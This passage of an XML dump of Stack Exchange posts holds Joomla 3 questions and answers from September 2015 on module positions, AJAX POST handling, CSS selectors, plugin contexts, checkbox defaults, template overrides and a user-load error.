Tags="|joomla-3.x|module|jdocument|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13611" PostTypeId="1" CreationDate="2015-09-15T17:18:19.827" Score="0" ViewCount="30" Body="&lt;p&gt;I'm using the Purity III template, and I made 2 'columns' as positions to insert in them some articles in order to show 'em vertically.&#xA;But when I crete a loooong message in one (i.e. the left one) it goes over the right column instead of wrapping itself and continue in the lower lines.. What's ging wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.X&lt;/p&gt;&#xA;" OwnerUserId="6902" LastActivityDate="2015-09-15T22:07:14.660" Title="Make Text wrap in homepage with 2 positions in it" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13612" PostTypeId="1" AcceptedAnswerId="13693" CreationDate="2015-09-15T17:56:01.660" Score="3" ViewCount="1591" Body="&lt;p&gt;My Jquery code is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.loginbtn&quot;).click(function(e) { &#xA;                var value   =  JSON.stringify(jQuery(jQuery('#form-login input[class!=&quot;noAjax&quot;]'), jQuery('#form-login')).serialize());&#xA;                alert(value); // here I am able to see &quot;username=itsvalue&amp;amp;password&amp;amp;itsvalue....&quot;&#xA;                jQuery.ajax ({                                                          &#xA;                        type    : &quot;POST&quot;,&#xA;                        url     : &quot;index.php?option=com_ajax&amp;amp;module=socialauth&amp;amp;method=loginUser&amp;amp;format=json&quot;,&#xA;                        data    : value,&#xA;                        contentType: &quot;application/json&quot;,&#xA;                        success : function(response) {&#xA;                            jQuery(&quot;#login-msg&quot;).html(response['data']);&#xA;                        },&#xA;                        error   : function(jqXHR, error, errorThrown) {  &#xA;                           if(jqXHR.status){&#xA;                                jQuery(&quot;#login-msg&quot;).html(jqXHR.responseText + jqXHR.status); &#xA;                           }else{&#xA;                                alert(&quot;Something went wrong&quot;);&#xA;                           }&#xA;                        }&#xA;                });&#xA;            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my PHP helper code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function loginUserAjax() {&#xA;        // Required objects &#xA;        $input      = JFactory::getApplication()-&amp;gt;input; &#xA;&#xA;        var_dump((new JInput($input-&amp;gt;get('data', '', 'array')))-&amp;gt;getString('username') ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here I am not getting any POSTed data. I have tried many things. I don't know why.&lt;/p&gt;&#xA;" OwnerUserId="5431" LastEditorUserId="126" LastEditDate="2015-09-16T13:02:50.150" LastActivityDate="2015-09-21T14:01:55.953" Title="Post data using com_ajax joomla 3" Tags="|joomla-3.x|joomla-api|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13613" PostTypeId="2" ParentId="13583" CreationDate="2015-09-15T17:58:34.463" Score="2" Body="&lt;p&gt;This is not currently possible. The closest you can get is Tagged Items. There is an article in the Joomla Forums about how to add the read more. &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=708&amp;amp;t=838191&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=708&amp;amp;t=838191&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also currently a request on ideas.joomla.org at &lt;a href=&quot;http://ideas.joomla.org/forums/84261-joomla-idea-pool/category/12057-content?query=category%20blog%20tagged%20items&quot; rel=&quot;nofollow&quot;&gt;http://ideas.joomla.org/forums/84261-joomla-idea-pool/category/12057-content?query=category%20blog%20tagged%20items&lt;/a&gt;. You can go and vote for it to be included.&lt;/p&gt;&#xA;" OwnerUserId="6927" LastActivityDate="2015-09-15T17:58:34.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13614" PostTypeId="1" CreationDate="2015-09-15T19:01:39.597" Score="0" ViewCount="708" Body="&lt;p&gt;I have guest user and member user to purchases the product.i have two different price for user when logged.In logged user to show two price( with member price and non member price) Guest user show only non member price . is there any setting or plugins to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guest user           &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price : $50 &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Member user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;Price : $50&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member price : $20&lt;/p&gt;&#xA;" OwnerUserId="5389" LastEditorUserId="126" LastEditDate="2015-09-16T13:03:07.603" LastActivityDate="2015-09-17T15:49:58.587" Title="Virtuemart show tow price in product in details and listing page" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13618" PostTypeId="1" CreationDate="2015-09-16T08:28:16.827" Score="3" ViewCount="751" Body="&lt;p&gt;When users visit a page on my site, I've written code to set a value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if(window.location.href.indexOf(&quot;promotionpage&quot;) &amp;gt; -1) {&#xA;    Cookies.set('landingpage', 'kent', { expires: 30, path: '/promotionpage' });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working great and the cookie is being set. Depending on if the above cookie is set, I want to then add a module position to the index.php page, I've written the following to read if the cookie is set and then include a module position, but it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;        if(isset($_COOKIE['kent'])){ ?&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;kentModal&quot; style=&quot;none&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-09-16T08:48:27.227" LastActivityDate="2015-12-16T14:32:38.380" Title="Include module position if cookie value is set" Tags="|joomla-3.x|php|joomla-3.4|jquery|cookies|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13619" PostTypeId="1" AcceptedAnswerId="13620" CreationDate="2015-09-16T11:18:27.737" Score="0" ViewCount="68" Body="&lt;p&gt;For some particular needs, I have got a class  called {COLOUR} (in php) which is replaced by a #333, #cccccc or #b13131, depending on various circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem of course.. I know, but I would like to know if is there possible to apply some css rules to this class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if {COLOUR} returns a css class &quot;#cccccc&quot;, I want to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.#cccccc {&#xA;my css rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this is not working, of course..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding a prefix to the class given in php, so it was changed from class=&quot;{COLOUR}&quot; to class=&quot;something-{COLOUR}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.something-#cccccc {&#xA;my css rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it didn't work, again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do really need to apply some css rules to this {COLOUR} and I really hope you guys can help me solving this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a solution is possible using php (and it's maybe easier for you, it could be also good!&#xA;I'm not an expert in php but I was thinking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if {COLOUR} = #cccccc then apply X css rules, if {COLOUR} = #333 then apply Y css rules etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again!&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-09-16T15:04:58.447" Title="Use a colour (e.g. #ccc) as css ID or Selector" Tags="|php|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13620" PostTypeId="2" ParentId="13619" CreationDate="2015-09-16T12:02:24.200" Score="4" Body="&lt;p&gt;Not really Joomla! related. You should ask questions like these better at stackoverflow. But as a quick answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can escape the hash sign:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.\#cccccc {&#xA;    // my css rules;&#xA;}&#xA;&#xA;.something-\#cccccc {&#xA;    // my css rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should also work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[class=&quot;#cccccc&quot;] {&#xA;    // my css rules&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though I think it's not a real nice way to make CSS class names as color hex codes. A better approach would be to give them a semantic meaning.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-09-16T12:17:01.427" LastActivityDate="2015-09-16T12:17:01.427" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13621" PostTypeId="2" ParentId="4333" CreationDate="2015-09-16T12:12:28.113" Score="0" Body="&lt;p&gt;There is no need to create those tags first. You can create them on the fly as you need them. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can create tags on the fly in any content editing screen that has a tags field. Start typing the name of a possible tag. Once you get to three letters you will start to see suggested tags that already exist. If you are creating a brand new tag finish typing the name and hit enter and the tag will be created for you when you save.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_To_Use_Content_Tags_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:How_To_Use_Content_Tags_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-09-16T12:12:28.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13622" PostTypeId="2" ParentId="13619" CreationDate="2015-09-16T15:04:58.447" Score="0" Body="&lt;p&gt;+1 to @fruppel's answer, however I would not recommend using a hex only as a CSS class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A CSS class name must begin with an underscore (&lt;code&gt;_&lt;/code&gt;), a hyphen (&lt;code&gt;-&lt;/code&gt;), or a letter(&lt;code&gt;a–z&lt;/code&gt;), followed by any number of hyphens, underscores, letters, or numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're hex is &lt;code&gt;232323&lt;/code&gt;, then this would not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I'd suggest always adding a prefix to the hex, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.prefix-\#cccccc {&#xA;    // some rule;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-16T15:04:58.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13623" PostTypeId="2" ParentId="13597" CreationDate="2015-09-16T20:26:40.947" Score="1" Body="&lt;p&gt;Ok, I've found out &lt;strong&gt;how to modify component and any module with a system plugin:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemSomename extends JPlugin&#xA;{&#xA;    public function onAfterDispatch()&#xA;    {&#xA;        $doc = JFactory::getDocument();&#xA;        $oldComponent = $doc-&amp;gt;getBuffer('component');&#xA;        $db = JFactory::getDBO();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($db-&amp;gt;quoteName('position'))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__modules'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('published').&quot; = 1 AND &quot;.$db-&amp;gt;quoteName('client_id').&quot; = 0&quot;);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $list = $db-&amp;gt;loadObjectList();&#xA;        ...&#xA;        $pattern = ...;&#xA;        $newComponent = preg_replace_callback($pattern, ... {...}, $oldComponent);&#xA;        if(count($list) &amp;gt; 0) {&#xA;            foreach($list as $module) {&#xA;                $newModule = preg_replace_callback($pattern, ... {...}, $doc-&amp;gt;getBuffer('modules', $module-&amp;gt;position, array('style'=&amp;gt; 'xhtml')));&#xA;                $doc-&amp;gt;setBuffer($newModule, 'modules', $module-&amp;gt;position, array('style'=&amp;gt; 'xhtml'));&#xA;            }&#xA;        }&#xA;&#xA;        $doc-&amp;gt;setBuffer($newComponent, 'component');&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-09-22T12:52:10.187" LastActivityDate="2015-09-22T12:52:10.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13624" PostTypeId="1" CreationDate="2015-09-16T21:31:48.220" Score="5" ViewCount="1545" Body="&lt;p&gt;I've read that &lt;code&gt;$context&lt;/code&gt; parameter is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The context of the content being passed to the plugin - this is the&#xA;  component name and view - or name of module (e.g.&#xA;  com_content.article)&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events/Content&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean? Can we manipulate &lt;em&gt;module(s)&lt;/em&gt; and other &lt;em&gt;component(s)&lt;/em&gt; in addition to &lt;code&gt;com_content&lt;/code&gt; from the content plugin, and if yes then how? Can you provide an example of code?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="1629" LastEditDate="2015-09-17T03:59:44.337" LastActivityDate="2015-09-17T03:59:44.337" Title="What does $context parameter of content plugin mean?" Tags="|joomla-3.x|development|plugin|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13625" PostTypeId="2" ParentId="13597" CreationDate="2015-09-16T23:07:16.817" Score="3" Body="&lt;p&gt;There are a variety of ways on how to modify Joomla content with a plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A component may call the plugin mechanism, for example com_content uses the &quot;onContentPrepare&quot; event. You can use this to modify com_content content. The plugins for this are in plugins/content, but that is just common behaviour, the plugin would work in any folder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A system plugin can take the output of any component and modify it, for example with regular expressions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A system plugin can also modify the whole HTML&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A module calls the &quot;onRenderModule&quot; event, so you can use this to modify the module output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you need to create a plugin for components and one for modules and you can share your code, for example by installing a library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more detailed example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can see in &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/module/helper.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/module/helper.php&lt;/a&gt;, line 235 how onRenderModule is called with $module and $attribs&lt;/li&gt;&#xA;&lt;li&gt;$module contains the data stored in the module table&#xA;$attribs is an array which contains 'name' -&gt; position of the module and 'style' -&gt; the module Chrome used.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So putting it all together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onRenderModule($module, $attribs)&#xA;{&#xA;    $modulePosition = $attribs['name']&#xA;    $moduleStyle = $attribs['style']&#xA;&#xA;    $module-&amp;gt;content = str_replace('foo','bar',$module-&amp;gt;content;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would replace all occurences of foo with bar in any module.&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2015-09-18T09:14:22.350" LastActivityDate="2015-09-18T09:14:22.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13626" PostTypeId="2" ParentId="13624" CreationDate="2015-09-16T23:08:49.733" Score="2" Body="&lt;p&gt;You can modify any component that uses the onContentPrepare event, i've done a quick search on Joomla 3.4.4 and it is used by com_config, com_content, com_tags and com_users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any extension may also choose to use this plugin trigger.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2015-09-16T23:08:49.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13627" PostTypeId="1" AcceptedAnswerId="13631" CreationDate="2015-09-17T01:25:21.297" Score="1" ViewCount="4017" Body="&lt;p&gt;I'm trying to add checkbox to my template parameter and giving default=&quot;1&quot; value to make it checked by default.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;fieldname&quot; type=&quot;checkbox&quot; label=&quot;fieldlabel&quot; description=&quot;Desc of the field&quot; value=&quot;1&quot; default=&quot;1&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output indeed checked by default by it can't be unchecked. Everytime I uncheck it and save the parameter, the checkbox is always back to checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the default value to 0 then it's working properly. Any idea how to deal with this? Thanks&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-17T05:21:31.907" Title="How to make checkbox is checked by default" Tags="|xml|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13628" PostTypeId="1" AcceptedAnswerId="13629" CreationDate="2015-09-17T02:20:40.373" Score="0" ViewCount="68" Body="&lt;p&gt;I am new to Joomla and am having some difficulties. I have been asked to work on a site for someone and I need to adjust the HTML on their Blog post page (the page that lists all the blog posts whit their intro text and intro images).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking in the index.php of the template (which is the only HTML file in the template folder) I dont see any mention of the blog page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone be able to help me out and point me in the right direction here? Should I be looking in Joomla's layouts directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1772" LastActivityDate="2015-09-17T02:57:59.500" Title="Where can I find the Blog Post HTML?" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13629" PostTypeId="2" ParentId="13628" CreationDate="2015-09-17T02:57:59.500" Score="1" Body="&lt;p&gt;The layout for Category Blog is actually is defined in this file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../components/com_content/views/category/tmpl/blog.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you open the file, you will see this file will call these child layouts :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../components/com_content/views/category/tmpl/blog_item.php&#xA;../components/com_content/views/category/tmpl/blog_links.php&#xA;../components/com_content/views/category/tmpl/blog_children.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, basically you can change the layout for blog layout by modifying those files above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, it is NOT recommended to modify those files directly because any change you made on those files will be overwritten when a Joomla update is installed in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how to deal with it?&#xA;Joomla has a template override features that allows you to override visual output of any extension you have. You can read the fully explanation &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but in your case above, you just need to copy those files above to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../templates/your_template_name/html/com_content/category/blog.php&#xA;../templates/your_template_name/html/com_content/category/blog_item.php&#xA;../templates/your_template_name/html/com_content/category/blog_links.php&#xA;../templates/your_template_name/html/com_content/category/blog_children.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and modify it. &#xA;If the folder 'html' doesn't exist on your template, simply create it.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-17T02:57:59.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13630" PostTypeId="2" ParentId="13624" CreationDate="2015-09-17T03:14:00.003" Score="3" Body="&lt;p&gt;The &lt;code&gt;$context&lt;/code&gt; parameter can be used to define if your plugin should run or not under certain circumstances. For example, you might want your plugin to run when displaying category blogs, but not when viewing the full article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($context == &quot;com_content.category&quot;) {&#xA;    // Your code for category blog here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some of the available contexts are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;com_content.category&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;com_content.article&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;com_content.featured&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;com_contact.category.title&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;com_tags.tag&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(List contains only contexts I could confirm with a quick test, feel free to add more)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a small plugin to see the different contexts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;class plgContentContext extends JPlugin&#xA;{&#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params)&#xA;        {&#xA;            echo '&amp;lt;h3 style=&quot;color:white;background:red&quot;&amp;gt;' . $context . '&amp;lt;/h3&amp;gt;';&#xA;        }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-17T03:14:00.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13631" PostTypeId="2" ParentId="13627" CreationDate="2015-09-17T05:21:31.907" Score="0" Body="&lt;p&gt;This problem has been discussed on &lt;a href=&quot;https://stackoverflow.com/questions/10725937/joomla-php-checkbox-wont-uncheck&quot;&gt;Stack Overflow&lt;/a&gt;, and as far as I can see there aren't any simple solutions. A couple of options are discussed, so you might be able to implement something. The OP of the question ended up creating a field override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is really a HTML shortcoming, explained &lt;a href=&quot;http://planetozh.com/blog/2008/09/posting-unchecked-checkboxes-in-html-forms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Submitting it, leaving empty values and not checking the checkbox, you&#xA;  would get the following $_POST array (notice the missing &quot;checkbox&quot;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  &quot;input&quot; =&amp;gt; &quot;&quot;,&#xA;  &quot;hidden&quot; =&amp;gt; &quot;&quot;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;In short: &lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;field&quot; value=&quot;something&quot;&amp;gt;&lt;/code&gt;&#xA;  either gets submitted as &lt;code&gt;field = &quot;something&quot;&lt;/code&gt; if checked, or doesn't&#xA;  exist if unchecked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;a href=&quot;http://planetozh.com/blog/2008/09/posting-unchecked-checkboxes-in-html-forms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://planetozh.com/blog/2008/09/posting-unchecked-checkboxes-in-html-forms/&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-09-17T05:21:31.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13633" PostTypeId="1" AcceptedAnswerId="13634" CreationDate="2015-09-17T07:07:36.953" Score="8" ViewCount="8342" Body="&lt;p&gt;When I log into my joomla site from the front end I get this warning.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JUser: :_load: Unable to load user with ID: 16635&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But that user doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From searching it might be easiest to just create a user with that ID but I'd like to understand more about why this is happening please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2017-02-25T06:48:15.833" Title="JUser: :_load: Unable to load user with ID: 16635" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13634" PostTypeId="2" ParentId="13633" CreationDate="2015-09-17T07:22:13.240" Score="11" Body="&lt;p&gt;This sometimes happens when a specific user has been deleted that was the author of an article or any other content. When trying to load that content, it also tries to get the username based on the ID, which cannot be found in the &lt;code&gt;#__users&lt;/code&gt; table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an article being displayed on the homepage, try changing the author to someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new user via the Joomla User Manager (admin backend).&lt;/li&gt;&#xA;&lt;li&gt;Open your database manager such as PhpMyAdmin&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;code&gt;#__users&lt;/code&gt; table and search for the ID of the user you just created&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;code&gt;ID&lt;/code&gt; for this user to &lt;code&gt;16635&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;code&gt;#__user_usergroup_map&lt;/code&gt; table&lt;/li&gt;&#xA;&lt;li&gt;Search for the &lt;code&gt;user_id&lt;/code&gt; that matches the ID of the user you created before&lt;/li&gt;&#xA;&lt;li&gt;Change this also to &lt;code&gt;16635&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-22T07:07:42.400" LastActivityDate="2015-09-22T07:07:42.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13635" PostTypeId="2" ParentId="13618" CreationDate="2015-09-17T08:17:59.117" Score="1" Body="&lt;p&gt;The way you use cookies seems wrong, unless there is a library that you use here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to quirksmode you would use something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(window.location.href.indexOf(&quot;promotionpage&quot;) &amp;gt; -1) {&#xA;     document.cookie = 'landingpage=kent; expires=&amp;lt;?php echo date('D, j M Y H:i:s', time()+30);?&amp;gt; path=/promotionpage');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This question has a good list of JavaScript libraries to manage cookies easier &lt;a href=&quot;https://stackoverflow.com/q/4825683/123594&quot;&gt;https://stackoverflow.com/q/4825683/123594&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of other comments: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You are checking for &quot;promotionpage&quot; to be anywhere in the url, but the cookie is only valid if your path BEGINS WITH &quot;promotionpage&quot;&lt;/li&gt;&#xA;&lt;li&gt;Do you want the cookie really only to be valid for 30 seconds?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="35" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-09-17T08:17:59.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
